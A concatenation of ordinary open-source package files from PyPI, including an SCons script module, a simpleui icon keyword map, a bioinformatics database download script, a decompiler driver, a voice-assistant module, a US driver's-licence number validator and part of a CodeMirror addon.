elif isinstance(t, SCons.Node.Node):
DEFAULT_TARGETS.append(t)
BUILD_TARGETS._add_Default([t])
_build_plus_default._add_Default([t])
else:
nodes = env.arg2nodes(t, env.fs.Entry)
DEFAULT_TARGETS.extend(nodes)
BUILD_TARGETS._add_Default(nodes)
_build_plus_default._add_Default(nodes)
#
help_text = None
def HelpFunction(text):
global help_text
if SCons.Script.help_text is None:
SCons.Script.help_text = text
else:
help_text = help_text + text
#
# Will be non-zero if we are reading an SConscript file.
sconscript_reading = 0
#
def Variables(files=[], args=ARGUMENTS):
return SCons.Variables.Variables(files, args)
def Options(files=[], args=ARGUMENTS):
return SCons.Options.Options(files, args)
# The list of global functions to add to the SConscript name space
# that end up calling corresponding methods or Builders in the
# DefaultEnvironment().
GlobalDefaultEnvironmentFunctions = [
# Methods from the SConsEnvironment class, above.
'Default',
'EnsurePythonVersion',
'EnsureSConsVersion',
'Exit',
'Export',
'GetLaunchDir',
'Help',
'Import',
#'SConscript', is handled separately, below.
'SConscriptChdir',
# Methods from the Environment.Base class.
'AddPostAction',
'AddPreAction',
'Alias',
'AlwaysBuild',
'BuildDir',
'CacheDir',
'Clean',
#The Command() method is handled separately, below.
'Decider',
'Depends',
'Dir',
'NoClean',
'NoCache',
'Entry',
'Execute',
'File',
'FindFile',
'FindInstalledFiles',
'FindSourceFiles',
'Flatten',
'GetBuildPath',
'Glob',
'Ignore',
'Install',
'InstallAs',
'Literal',
'Local',
'ParseDepends',
'Precious',
'Repository',
'Requires',
'SConsignFile',
'SideEffect',
'SourceCode',
'SourceSignatures',
'Split',
'Tag',
'TargetSignatures',
'Value',
'VariantDir',
]
GlobalDefaultBuilders = [
# Supported builders.
'CFile',
'CXXFile',
'DVI',
'Jar',
'Java',
'JavaH',
'Library',
'M4',
'MSVSProject',
'Object',
'PCH',
'PDF',
'PostScript',
'Program',
'RES',
'RMIC',
'SharedLibrary',
'SharedObject',
'StaticLibrary',
'StaticObject',
'Tar',
'TypeLibrary',
'Zip',
'Package',
]
for name in GlobalDefaultEnvironmentFunctions + GlobalDefaultBuilders:
exec "%s = _SConscript.DefaultEnvironmentCall(%s)" % (name, repr(name))
del name
# There are a handful of variables that used to live in the
# Script/SConscript.py module that some SConscript files out there were
# accessing directly as SCons.Script.SConscript.*. The problem is that
# "SConscript" in this namespace is no longer a module, it's a global
# function call--or more precisely, an object that implements a global
# function call through the default Environment. Nevertheless, we can
# maintain backwards compatibility for SConscripts that were reaching in
# this way by hanging some attributes off the "SConscript" object here.
SConscript = _SConscript.DefaultEnvironmentCall('SConscript')
# Make SConscript look enough like the module it used to be so
# that pychecker doesn't barf.
SConscript.__name__ = 'SConscript'
SConscript.Arguments = ARGUMENTS
SConscript.ArgList = ARGLIST
SConscript.BuildTargets = BUILD_TARGETS
SConscript.CommandLineTargets = COMMAND_LINE_TARGETS
SConscript.DefaultTargets = DEFAULT_TARGETS
# The global Command() function must be handled differently than the
# global functions for other construction environment methods because
# we want people to be able to use Actions that must expand $TARGET
# and $SOURCE later, when (and if) the Action is invoked to build
# the target(s). We do this with the subst=1 argument, which creates
# a DefaultEnvironmentCall instance that wraps up a normal default
# construction environment that performs variable substitution, not a
# proxy that doesn't.
#
# There's a flaw here, though, because any other $-variables on a command
# line will *also* be expanded, each to a null string, but that should
# only be a problem in the unusual case where someone was passing a '$'
# on a command line and *expected* the $ to get through to the shell
# because they were calling Command() and not env.Command()... This is
# unlikely enough that we're going to leave this as is and cross that
# bridge if someone actually comes to it.
Command = _SConscript.DefaultEnvironmentCall('Command', subst=1)
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4: | PypiClean |
/DjangoDjangoAppCenter-0.0.11-py3-none-any.whl/DjangoAppCenter/simpleui/static/admin/simpleui-x/automatic/dicts.js | var weights = {
'用户': 0.1,
'部门': 0.1,
'机构': 0.1
}
var dicts = {
//系统
'fab fa-microsoft': ['系统', '微软'],
//组
'fas fa-users-cog': ['分组', '组合', '组队', '队伍', '队列'],
//权限
'fas fa-shield-alt': ['权限', '权利'],
//人
'far fa-user': ['管理员', '用户', '员工', '成员', '工人', '职员', '职工', '农民', '清洁工', '客户', '账户', '会员', '供应商', '教师', '老师'],
//医生
'fas fa-user-md': ['医生', '护士', '大夫'],
//配置
'fas fa-cog': ['配置', '设置', '设立', '设定'],
//日志
'far fa-bookmark': ['日志', '记录'],
//终端
'fas fa-terminal': ['终端', '命令', '命令行', '控制台'],
//机构
'fas fa-university': ['机构', '部门'],
//设备
'fas fa-tablet-alt': ['设备'],
//仪表
'fas fa-tachometer-alt': ['仪表', '水表', '电表', '燃气表', '压力表', '温度表', '湿度表', '速度表'],
//数据
'fas fa-database': ['数据', '数据库'],
//分析
'far fa-chart-bar': ['分析', '图表', '统计', '统计图'],
//蜘蛛
'fas fa-spider': ['采集', '收集', '爬虫', '调试'],
//异常
'fas fa-exclamation-triangle': ['异常', '错误', '警告', '警报', '报警'],
//产品
'fas fa-shopping-cart': ['产品', '货物', '商品', '购物车', '销售', '售卖'],
//分类
'fas fa-list': ['类别', '类目', '分类', '列表', '集合', '排行'],
//职位
'fas fa-chalkboard-teacher': ['职位', '职能', '职称'],
//车
'fas fa-car': ['汽车', '摩托车', '轿车', '货车', '公交车', '单车', '采购'],
//计划
'far fa-calendar-alt': ['计划', '定时', '日程', '日历'],
//仓库
'fas fa-warehouse': ['库存', '仓库', '房子'],
//订单
'fas fa-shopping-bag': ['订单'],
//导入
'fas fa-upload': ['导入', '上传'],
//导出
'fas fa-download': ['导出', '下载'],
//网站
'fas fa-globe-americas': ['网站', '网址', '站点', '官网'],
//评论
'far fa-comments': ['评论', '评价', '点评', '留言', '消息'],
//文章
'fas fa-book-open': ['文章', '博文', '日记'],
//字典
'fas fa-book': ['字典', '词典', '书籍', '书本'],
//编辑
'far fa-edit': ['编辑', '修改', '编写', '改变'],
//钱相关
'fas fa-yen-sign': ['金额', '账务', '财务', '美元', '英镑', '港币', '人民币', '提现', '充值', '奖金', '返利', '返佣'],
//修复
'fas fa-wrench': ['修复', '修理'],
//货物
'fas fa-truck': ['发货', '收货', '货物', '物品', '贸易'],
//地图
'fas fa-map-marker-alt': ['地图', '导航', '路线', '路程', '地址', '住址'],
//音乐
'fas fa-music': ['音乐', '歌曲', '歌词', '歌手', '歌唱家', '演唱会', 'MV'],
//电影
'fas fa-film': ['电影', '电视', '节目', '录像', '影片', '影视', '视频'],
//菜单
'fas fa-bars': ['菜单', '功能', '模块'],
//链接
'fas fa-link': ['链接', '连接', '友链', '友情链接'],
//通知
'fas fa-bullhorn': ['通知', '告知', '通告', '公告', '喇叭'],
//主页
'fas fa-home': ['主页', '首页', 'index', 'Index'],
//银行
'fas fa-credit-card': ['银行卡', '银行', '信用卡', '储蓄卡'],
//ad
'fas fa-ad': ['宣传', '广告', 'banner', 'Banner', 'ad', 'Ad', '横幅', '轮播'],
//hot
'fab fa-hotjar': ['热搜', '热度', '火焰'],
//info
'fas fa-info': ['信息', 'info'],
//支付宝
'fab fa-alipay': ['支付宝', '余额宝', '余利宝', '蚂蚁花呗'],
//微信
'fab fa-weixin': ['微信', 'WeChart'],
//交易
'fab fa-paypal': ['交易', '支付', '贝付', 'paypal'],
//收藏
'far fa-star': ['收藏', '星星', '五角星', '中国'],
//短信
'far fa-comment-dots': ['短信', '消息', '提示'],
//审核
'far fa-eye': ['审核', '审计', '审查', 'audit', 'review', 'eyes'],
//任务
'fas fa-tasks': ['任务', 'job', 'task'],
//快照
'fas fa-camera-retro': ['快照', '照片', '照相', '图形', '图像', '图片'],
//应用
'fab fa-app-store-ios': ['程序', '软件', '应用', 'APP'],
//发布
'fas fa-retweet': ['发布', '部署', '更新', '投递', 'post', '上架'],
//版本
'fas fa-code-branch': ['版本', '历史', '分支'],
//问题
'fas fa-question': ['提问', '问题', '询问', '疑问', '解答', '帮助', 'question', 'ask'],
//tag
'fas fa-tags': ['tag', '标签'],
//开发
'fas fa-laptop-code': ['开发', '程序员', '电脑', '笔记本', '计算机'],
//二维码
'fas fa-qrcode': ['扫码', '二维码', '收款码', '付款码'],
//课本
'fas fa-book': ['课程', '课本', '课时', '读书', '看书', '阅读'],
//在线
'fas fa-signal': ['在线', '信号', '无线'],
//苹果
'fab fa-apple': ['苹果', 'apple', 'iOS'],
//桌面
'fas fa-desktop': ['通用', '屏幕', '显示器', '综合'],
//职务
'fas fa-user-secret': ['职务', '职业', '职称', '职务']
} | PypiClean |
/CoSA-0.3.0.tar.gz/CoSA-0.3.0/cosa/encoders/parametric_behavior.py |
from cosa.encoders.factory import GeneratorsFactory, ClockBehaviorsFactory
from cosa.utils.logger import Logger
PAR_SP = ","
MODEL_SP = ";"
class ParametricBehavior(object):
@staticmethod
def apply_to_problem(problem, model_info):
varsdict = dict([(var.symbol_name(), var) for var in problem.hts.vars])
if problem.generators is not None:
for strgenerator in problem.generators.split(MODEL_SP):
strgenerator = strgenerator.replace(" ","")
if strgenerator == "":
continue
eqpos = strgenerator.find("=")
parstart = strgenerator.find("(")
if (parstart < eqpos) or (eqpos == -1):
Logger.error("Invalid generators")
instance = strgenerator[:eqpos:]
mdef = strgenerator[eqpos+1:]
mtype = mdef.split("(")[0]
pars = mdef[mdef.find("(")+1:-1].split(PAR_SP)
generator = GeneratorsFactory.generator_by_name(mtype)
pars = [varsdict[v] if v in varsdict else v for v in pars]
ts = generator.get_sts(instance, pars)
problem.hts.add_ts(ts)
if problem.add_clock and (problem.clock_behaviors is None):
clk_behs = []
for (clock, (before, after)) in model_info.abstract_clock_list:
if (clock not in model_info.clock_list) or (clock in clk_behs):
continue
clock_behavior = ClockBehaviorsFactory.get_default_abstract()
ts = clock_behavior.get_default([clock, after])
clk_behs.append(clock)
problem.hts.add_ts(ts)
clock_list = [c for c in model_info.clock_list if c not in clk_behs]
for clock in clock_list:
if len(clock_list) > 1:
clock_behavior = ClockBehaviorsFactory.get_default_multi()
else:
clock_behavior = ClockBehaviorsFactory.get_default()
ts = clock_behavior.get_default([clock])
clk_behs.append(clock)
problem.hts.add_ts(ts)
assert len(clk_behs) == len(set(clk_behs))
if problem.clock_behaviors is not None:
for strcb in problem.clock_behaviors.split(MODEL_SP):
strcb = strcb.replace(" ","")
if strcb == "":
continue
parstart = strcb.find("(")
parend = strcb.find(")")
if (parstart == -1) or (parend == -1) or (parstart > parend):
Logger.error("Invalid Clock Behavior definition")
cbname = strcb[:parstart]
pars = strcb[parstart+1:parend].split(PAR_SP)
pars = [varsdict[v] if v in varsdict else v for v in pars]
clock_behavior = ClockBehaviorsFactory.clockbehavior_by_name(cbname)
ts = clock_behavior.get_sts(pars)
problem.hts.add_ts(ts) | PypiClean |
/EUKulele-2.0.0.tar.gz/EUKulele-2.0.0/scripts/download_database.sh |
ALLEXITS=0
DATABASE=$1
REF_FASTA="reference.pep.fa"
REF_TABLE="taxonomy-table.txt"
REF_FASTA_URL=$2
REF_TABLE_URL=$3
REFERENCE_DIR=$4
#mkdir -p ${PWD}/$REFERENCE_DIR/$DATABASE
mkdir -p $REFERENCE_DIR/$DATABASE
if [[ $DATABASE == "marmmetsp" ]]; then
# Download MMETSP reference FASTA
wget -O $REFERENCE_DIR/$DATABASE/$REF_FASTA $REF_FASTA_URL
ALLEXITS=$(($ALLEXITS + $?))
# Download MMETSP reference taxonomy table
wget -O $REFERENCE_DIR/$DATABASE/$REF_TABLE $REF_TABLE_URL
ALLEXITS=$(($ALLEXITS + $?))
echo "All reference files for MarRef-MMETSP downloaded to $REFERENCE_DIR/$DATABASE"
elif [[ $DATABASE == "mmetsp" ]]; then
# Download MMETSP reference FASTA
wget -O $REFERENCE_DIR/$DATABASE/$REF_FASTA $REF_FASTA_URL
ALLEXITS=$(($ALLEXITS + $?))
# Download MMETSP reference taxonomy table
wget -O $REFERENCE_DIR/$DATABASE/$REF_TABLE $REF_TABLE_URL
ALLEXITS=$(($ALLEXITS + $?))
echo "All reference files for MMETSP downloaded to $REFERENCE_DIR/$DATABASE"
elif [[ $DATABASE == "eukprot" ]]; then
# Download tar of all EukProt files
wget -O $REFERENCE_DIR/$DATABASE/$DATABASE.tgz $REF_FASTA_URL
ALLEXITS=$(($ALLEXITS + $?))
# Unzip to proteins folder
tar zxvf $REFERENCE_DIR/$DATABASE/$DATABASE.tgz -C $REFERENCE_DIR/$DATABASE
ALLEXITS=$(($ALLEXITS + $?))
# Download EukProt taxonomy file
wget -O $REFERENCE_DIR/$DATABASE/$REF_TABLE $REF_TABLE_URL
ALLEXITS=$(($ALLEXITS + $?))
ALLFILES=""
for entry in "$REFERENCE_DIR/$DATABASE/proteins"/*
do
ALLFILES=$ALLFILES" "$entry
done
for currfile in $ALLFILES
do
((cat $currfile | sed 's/\./N/g'); echo; echo) >> ${PWD}/$DATABASE/$REF_FASTA
done
ALLEXITS=$(($ALLEXITS + $?))
echo "All reference files for EukProt downloaded to ${PWD}/$DATABASE"
elif [[ $DATABASE == "phylodb" ]]; then
# Download PhyloDB reference FASTA
wget -O $REFERENCE_DIR/$DATABASE/$REF_FASTA.gz $REF_FASTA_URL
gunzip -f $REFERENCE_DIR/$DATABASE/$REF_FASTA.gz
#sed -i -e 's/>* .*$//' $REFERENCE_DIR/$DATABASE/$REF_FASTA
#sed -i $'s/\t/ /g' $REFERENCE_DIR/$DATABASE/$REF_FASTA
ALLEXITS=$(($ALLEXITS + $?))
# Download PhyloDB reference taxonomy table
wget -O $REFERENCE_DIR/$DATABASE/$REF_TABLE.gz $REF_TABLE_URL
gunzip -f $REFERENCE_DIR/$DATABASE/$REF_TABLE.gz
ALLEXITS=$(($ALLEXITS + $?))
# Download PhyloDB files from Google Drive
#wget --load-cookies /tmp/cookies.txt https://docs.google.com/uc?export=download&confirm=$(wget --quiet --save-cookies /tmp/cookies.txt --keep-session-cookies --no-check-certificate 'https://docs.google.com/uc?export=download&id='$REF_FASTA_URL -O- | sed -rn 's/.*confirm=([0-9A-Za-z_]+).*/\1\n/p')&id=$REF_FASTA_URL -O ${PWD}/$DATABASE/$DATABASE.tgz && rm -rf /tmp/cookies.txt
#gunzip -c ${PWD}/$DATABASE/$DATABASE.tgz > ${PWD}/$DATABASE/$REF_FASTA
# Download PhyloDB taxonomy table
#wget --load-cookies /tmp/cookies.txt https://docs.google.com/uc?export=download&confirm=$(wget --quiet --save-cookies /tmp/cookies.txt --keep-session-cookies --no-check-certificate 'https://docs.google.com/uc?export=download&id='$REF_FASTA_URL -O- | sed -rn 's/.*confirm=([0-9A-Za-z_]+).*/\1\n/p')&id=$REF_FASTA_URL -O ${PWD}/$DATABASE/$DATABASE.table.tgz && rm -rf /tmp/cookies.txt
#gunzip -c ${PWD}/$DATABASE/$DATABASE.table.tgz > ${PWD}/$DATABASE/$REF_TABLE_URL
echo "All reference files for PhyloDB downloaded to ${PWD}/$DATABASE"
elif [[ $DATABASE == "eukzoo" ]]; then
zenodo_get 1476236
mv EukZoo_taxonomy_table_v_0.2.tsv $REFERENCE_DIR/$DATABASE/$REF_TABLE
mv EukZoo_v_0.2.faa $REFERENCE_DIR/$DATABASE/$REF_FASTA
rm -f EukZoo_creation_and_cleanup.docx
rm -f EukZoo_KEGG_annotation_v_0.2.tsv
else
echo "Specified database not found."
exit 1
fi | PypiClean |
/observations-0.1.4.tar.gz/observations-0.1.4/observations/boston_housing.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
from observations.util import maybe_download_and_extract
def boston_housing(path):
"""Load the Boston Housing data set [@harrison1978hedonic].
It contains 506 examples of housing values in suburbs of Boston,
each with 13 continuous attributes and 1 binary attribute.
The data contains the following columns:
| Feature | Description |
| --- | --- |
| CRIM | per capita crime rate by town |
| ZN | proportion of residential land zoned for lots over 25,000 sq.ft. |
| INDUS | proportion of non-retail business acres per town. |
| CHAS | Charles River dummy variable (1 if tract bounds river; 0 otherwise) |
| NOX | nitric oxides concentration (parts per 10 million) |
| RM | average number of rooms per dwelling |
| AGE | proportion of owner-occupied units built prior to 1940 |
| DIS | weighted distances to five Boston employment centres |
| RAD | index of accessibility to radial highways |
| TAX | full-value property-tax rate per $10,000 |
| PTRATIO | pupil-teacher ratio by town |
| B | 1000(Bk | 0.63)^2 where Bk is the proportion of blacks by town |
| LSTAT | % lower status of the population |
| MEDV | Median value of owner-occupied homes in $1000's |
Args:
path: str.
Path to directory which either stores file or otherwise file will
be downloaded and extracted there. Filename is `housing.data`.
Returns:
Tuple of np.darray `x_train` and dictionary `metadata` of column
headers (feature names).
"""
import pandas as pd
path = os.path.expanduser(path)
filename = 'housing.data'
if not os.path.exists(os.path.join(path, filename)):
url = 'https://archive.ics.uci.edu/ml/machine-learning-databases/' \
'housing/housing.data'
maybe_download_and_extract(path, url)
x_train = pd.read_csv(os.path.join(path, filename),
header=None, delimiter=r"\s+").as_matrix()
columns = ['CRIM',
'ZN',
'INDUS',
'CHAS',
'NOX',
'RM',
'AGE',
'DIS',
'RAD',
'TAX',
'PTRATIO',
'B',
'LSTAT',
'MEDV']
metadata = {'columns': columns}
return x_train, metadata | PypiClean |
/Krakatau-noff-v0.20181212.tar.gz/Krakatau-noff-v0.20181212/decompile.py | from __future__ import print_function
import os.path
import time, random, subprocess, functools
import Krakatau
import Krakatau.ssa
from Krakatau.error import ClassLoaderError
from Krakatau.environment import Environment
from Krakatau.java import javaclass, visitor
from Krakatau.java.stringescape import escapeString
from Krakatau.verifier.inference_verifier import verifyBytecode
from Krakatau import script_util
def findJRE():
try:
home = os.environ.get('JAVA_HOME')
if home:
path = os.path.join(home, 'jre', 'lib', 'rt.jar')
if os.path.isfile(path):
return path
# For macs
path = os.path.join(home, 'bundle', 'Classes', 'classes.jar')
if os.path.isfile(path):
return path
# Ubuntu and co
out = subprocess.Popen(['update-java-alternatives', '-l'], stdout=subprocess.PIPE).communicate()[0]
basedir = out.split('\n')[0].rpartition(' ')[-1]
path = os.path.join(basedir, 'jre', 'lib', 'rt.jar')
if os.path.isfile(path):
return path
except Exception as e:
pass
def _stats(s):
bc = len(s.blocks)
vc = sum(len(b.unaryConstraints) for b in s.blocks)
return '{} blocks, {} variables'.format(bc,vc)
def _print(s):
from Krakatau.ssa.printer import SSAPrinter
return SSAPrinter(s).print_()
def makeGraph(opts, m):
v = verifyBytecode(m.code)
s = Krakatau.ssa.ssaFromVerified(m.code, v, opts)
if s.procs:
# s.mergeSingleSuccessorBlocks()
# s.removeUnusedVariables()
s.inlineSubprocs()
# print(_stats(s))
s.condenseBlocks()
s.mergeSingleSuccessorBlocks()
s.removeUnusedVariables()
# print(_stats(s))
s.copyPropagation()
s.abstractInterpert()
s.disconnectConstantVariables()
s.simplifyThrows()
s.simplifyCatchIgnored()
s.mergeSingleSuccessorBlocks()
s.mergeSingleSuccessorBlocks()
s.removeUnusedVariables()
# print(_stats(s))
return s
def deleteUnusued(cls):
# Delete attributes we aren't going to use
# pretty hackish, but it does help when decompiling large jars
for e in cls.fields + cls.methods:
del e.class_, e.attributes, e.static
for m in cls.methods:
del m.native, m.abstract, m.isConstructor
del m.code
del cls.version, cls.this, cls.super, cls.env
del cls.interfaces_raw, cls.cpool
del cls.attributes
def decompileClass(path=[], targets=None, outpath=None, skip_errors=False, add_throws=False, magic_throw=False):
out = script_util.makeWriter(outpath, '.java')
e = Environment()
for part in path:
e.addToPath(part)
start_time = time.time()
# random.shuffle(targets)
with e, out:
printer = visitor.DefaultVisitor()
for i,target in enumerate(targets):
print('processing target {}, {} remaining'.format(target, len(targets)-i))
try:
c = e.getClass(target.decode('utf8'))
makeGraphCB = functools.partial(makeGraph, magic_throw)
source = printer.visit(javaclass.generateAST(c, makeGraphCB, skip_errors, add_throws=add_throws))
except Exception as err:
if not skip_errors:
raise
if isinstance(err, ClassLoaderError):
print('Failed to decompile {} due to missing or invalid class {}'.format(target, err.data))
else:
import traceback
print(traceback.format_exc())
continue
# The single class decompiler doesn't add package declaration currently so we add it here
if '/' in target:
package = 'package {};\n\n'.format(escapeString(target.replace('/','.').rpartition('.')[0]))
source = package + source
filename = out.write(c.name.encode('utf8'), source)
print('Class written to', filename)
print(time.time() - start_time, ' seconds elapsed')
deleteUnusued(c)
print(len(e.classes) - len(targets), 'extra classes loaded')
if __name__== "__main__":
print(script_util.copyright)
import argparse
parser = argparse.ArgumentParser(description='Krakatau decompiler and bytecode analysis tool')
parser.add_argument('-path',action='append',help='Semicolon seperated paths or jars to search when loading classes')
parser.add_argument('-out',help='Path to generate source files in')
parser.add_argument('-nauto', action='store_true', help="Don't attempt to automatically locate the Java standard library. If enabled, you must specify the path explicitly.")
parser.add_argument('-r', action='store_true', help="Process all files in the directory target and subdirectories")
parser.add_argument('-skip', action='store_true', help="Upon errors, skip class or method and continue decompiling")
parser.add_argument('-xmagicthrow', action='store_true')
parser.add_argument('target',help='Name of class or jar file to decompile')
args = parser.parse_args()
path = []
if not args.nauto:
print('Attempting to automatically locate the standard library...')
found = findJRE()
if found:
print('Found at ', found)
path.append(found)
else:
print('Unable to find the standard library')
if args.path:
for part in args.path:
path.extend(part.split(';'))
if args.target.endswith('.jar'):
path.append(args.target)
targets = script_util.findFiles(args.target, args.r, '.class')
targets = map(script_util.normalizeClassname, targets)
decompileClass(path, targets, args.out, args.skip, magic_throw=args.xmagicthrow) | PypiClean |
/Homevee_Dev-0.0.0.0-py3-none-any.whl/Homevee/VoiceAssistant/Modules/GetTVTippsModule.py |
from Homevee.Functions.tv_data import get_tv_plan
from Homevee.VoiceAssistant import Helper
from Homevee.VoiceAssistant.Modules import VoiceModule
class VoiceGetTvTippsModule(VoiceModule):
def get_pattern(self, db):
return [
[['was', 'welche'], 'sind', ['tv-tipps', 'tvtipps', 'tv-tips', 'tvtips']],
[['was', 'welche'], 'sind', ['tv', 'fernseh'], ['tipps', 'tips']],
[['was', 'welche'], 'sind', ['fernseh-tipps', 'fernsehtipps', 'fernseh-tips', 'fernsehtips']],
]
def get_label(self):
return "gettvtipps"
def run_command(self, username, text, context, db):
return self.get_tv_tipps(username, text, context, db)
def get_tv_tipps(self, username, text, context, db):
tv_shows = get_tv_plan(username, "tipps", db)
VERB = ['kommt', 'läuft']
show_strings = []
for show in tv_shows:
TIME = show['time'] + ' Uhr'
CHANNEL = show['channel']
NAME = '\''+show['name']+'\''
string_data = [
['um ', TIME, ' ', VERB, ' auf ', CHANNEL, ' ', NAME],
['um ', TIME, ' ', VERB, ' ', NAME, ' auf ', CHANNEL],
['auf ', CHANNEL, ' um ', TIME, ' ', VERB, ' ', NAME],
['auf ', CHANNEL, ' ', VERB, ' ', NAME, ' um ', TIME],
[NAME, ' ', VERB, ' um ', TIME, ' auf ', CHANNEL],
[NAME, ' ', VERB, ' auf ', CHANNEL, ' um ', TIME],
]
show_strings.append(Helper.generate_string(string_data))
show_string = None
for i in range(0, len(show_strings)):
if show_string is None:
show_string = show_strings[i]
elif i == len(show_strings)-1:
if i != 0:
show_string = show_string + ' und '
show_string = show_string+show_strings[i]
else:
show_string = show_string+', '+show_strings[i]
answer_data = [
[['Die', 'Deine'], ' ', ['TV', 'Fernseh', 'Programm'], '-', ['Tipps', 'Vorschläge', 'Empfehlungen'], ' ',
['heute', 'für heute'], ' ', ['sind', 'lauten'], ':']
]
output = Helper.generate_string(answer_data) + ' ' + show_string + '.'
return {'msg_speech': output, 'msg_text': output} | PypiClean |
/DLNValidation-0.3.1.tar.gz/DLNValidation-0.3.1/dlnvalidation.py | import re
# In alphabetical order by state, not by abbreviation
STATE_FORMATS = {
'AL': r'^[0-9]{7}$|^[a-z0-9]{6}$',
'AK': r'^[0-9]{1,7}$',
'AZ': r'^[abdy][0-9]{8}$|^[0-9]{9}$',
'AR': r'^[0-9]{8,9}$',
'CA': r'^[a-z][0-9]{7}$',
'CO': r'^[0-9]{9}$|^[a-z][0-9]{1,6}$',
'CT': r'^[0-9]{9}$',
'DE': r'^[0-9]{1,7}$',
'DC': r'^[0-9]{7}$|^[0-9]{9}$',
'FL': r'^[a-z][0-9]{1,12}$',
'GA': r'^[0-9]{7,9}$',
'HI': r'^[0-9]{9}$|^H[0-9]{8}$',
'ID': r'^[0-9]{9}$|^[a-z]{2}[0-9]{6}[a-z]$',
'IL': r'^[a-z0-9]{12}$',
'IN': r'^[a-z0-9]{10,11}$',
'IA': r'^[0-9]{9}$|^[0-9]{3}[a-z]{2}[0-9]{4}$',
'KS': r'^k[0-9]{8}$|^[0-9]{9}$',
'KY': r'^[a-z][0-9]{8}$',
'LA': r'^[0-9]{9}$',
'ME': r'^[0-9]{7}$',
'MD': r'^[a-z][0-9]{12}$',
'MA': r'^s[0-9]{8}$|^[0-9]{9}$',
'MI': r'^[a-z][0-9]{12}$',
'MN': r'^[a-z][0-9]{12}$',
'MS': r'^[0-9]{9}$',
'MO': r'^[a-z][0-9]{5,9}$|^[0-9]{9}$',
'MT': r'^[0-9]{13}$|^[a-z]{9}$',
'NE': r'^[abceghv][0-9]{3,8}$',
'NV': r'^[0-9]{10}$|^[0-9]{12}$|^x[0-9]{8}$',
'NH': r'^[0-9]{2}[a-z]{3}[0-9]{5}$',
'NJ': r'^[a-z][0-9]{14}$',
'NM': r'^[0-9]{9}$',
'NY': r'^[a-z][0-9]{18}$|^[0-9]{9}$',
'NC': r'^[0-9]{1,12}$',
'ND': r'^[a-z]{3}[0-9]{6}$|^[0-9]{9}$',
'OH': r'^[a-z]{2}[0-9]{6}$',
'OK': r'^[a-z][0-9]{9}$|^[0-9]{9}$',
'OR': r'^[0-9]{1,9}$|^[a-z0-9]{7}$',
'PA': r'^[0-9]{8}$',
'RI': r'^[0-9]{7}$|^v[0-9]{6}$',
'SC': r'^[0-9]{1,10}$',
'SD': r'^[0-9]{6,9}$',
'TN': r'^[0-9]{7,9}$',
'TX': r'^[0-9]{8}$',
'UT': r'^[0-9]{4,10}$',
'VT': r'^[0-9]{8}$|^[0-9]{7}[a-z]$',
'VA': r'^[a-z][0-9]{8}$|^[0-9]{9}$',
'WA': r'^[a-z*]{7}[0-9]{3}[0-9a-z]{2}$',
'WV': r'^[0-9]{7}$|^[a-z]{1,2}[0-9]{5,6}$',
'WI': r'^[a-z][0-9]{13}$',
'WY': r'^[0-9]{9}$'
}
OTHER_STATES = [
# Territorries
'AS', 'GU', 'MP', 'PR', 'VI', 'UM',
# Freely Associated States
'FM', 'MH', 'PW',
# Armed Forces
'AA', 'AE', 'AP'
]
def is_valid(dl_number, dl_state, allow_territories=False):
"""
dl_number is a drivers license number string.
dl_state is the state abbreviation of the state of the drivers license.
if allow_territories is set, all drivers licenses for territorries,
freely associated states and armed forces will be processed as valid.
If not set, they will be considered an invalid state and an exception
will be thrown.
Returns True if given a valid drivers license number.
All drivers license numbers must be alphanumeric and conform to
specific state formats.
For more info, see http://adr-inc.com/PDFs/State_DLFormats.pdf.
"""
if not dl_number:
return False
if dl_state in STATE_FORMATS:
regex = STATE_FORMATS[dl_state]
is_valid = bool(re.match(regex, dl_number, re.IGNORECASE))
return is_valid
elif allow_territories and dl_state in OTHER_STATES:
return True
else:
raise Exception("Invalid state for drivers license number validation!") | PypiClean |
/Flask_AdminLTE3-1.0.9-py3-none-any.whl/flask_adminlte3/static/plugins/codemirror/addon/edit/closetag.js | (function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"), require("../fold/xml-fold"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror", "../fold/xml-fold"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
CodeMirror.defineOption("autoCloseTags", false, function(cm, val, old) {
if (old != CodeMirror.Init && old)
cm.removeKeyMap("autoCloseTags");
if (!val) return;
var map = {name: "autoCloseTags"};
if (typeof val != "object" || val.whenClosing !== false)
map["'/'"] = function(cm) { return autoCloseSlash(cm); };
if (typeof val != "object" || val.whenOpening !== false)
map["'>'"] = function(cm) { return autoCloseGT(cm); };
cm.addKeyMap(map);
});
var htmlDontClose = ["area", "base", "br", "col", "command", "embed", "hr", "img", "input", "keygen", "link", "meta", "param",
"source", "track", "wbr"];
var htmlIndent = ["applet", "blockquote", "body", "button", "div", "dl", "fieldset", "form", "frameset", "h1", "h2", "h3", "h4",
"h5", "h6", "head", "html", "iframe", "layer", "legend", "object", "ol", "p", "select", "table", "ul"];
function autoCloseGT(cm) {
if (cm.getOption("disableInput")) return CodeMirror.Pass;
var ranges = cm.listSelections(), replacements = [];
var opt = cm.getOption("autoCloseTags");
for (var i = 0; i < ranges.length; i++) {
if (!ranges[i].empty()) return CodeMirror.Pass;
var pos = ranges[i].head, tok = cm.getTokenAt(pos);
var inner = CodeMirror.innerMode(cm.getMode(), tok.state), state = inner.state;
var tagInfo = inner.mode.xmlCurrentTag && inner.mode.xmlCurrentTag(state)
var tagName = tagInfo && tagInfo.name
if (!tagName) return CodeMirror.Pass
var html = inner.mode.configuration == "html";
var dontCloseTags = (typeof opt == "object" && opt.dontCloseTags) || (html && htmlDontClose);
var indentTags = (typeof opt == "object" && opt.indentTags) || (html && htmlIndent);
if (tok.end > pos.ch) tagName = tagName.slice(0, tagName.length - tok.end + pos.ch);
var lowerTagName = tagName.toLowerCase();
// Don't process the '>' at the end of an end-tag or self-closing tag
if (!tagName ||
tok.type == "string" && (tok.end != pos.ch || !/[\"\']/.test(tok.string.charAt(tok.string.length - 1)) || tok.string.length == 1) ||
tok.type == "tag" && tagInfo.close ||
tok.string.indexOf("/") == (pos.ch - tok.start - 1) || // match something like <someTagName />
dontCloseTags && indexOf(dontCloseTags, lowerTagName) > -1 ||
closingTagExists(cm, inner.mode.xmlCurrentContext && inner.mode.xmlCurrentContext(state) || [], tagName, pos, true))
return CodeMirror.Pass;
var emptyTags = typeof opt == "object" && opt.emptyTags;
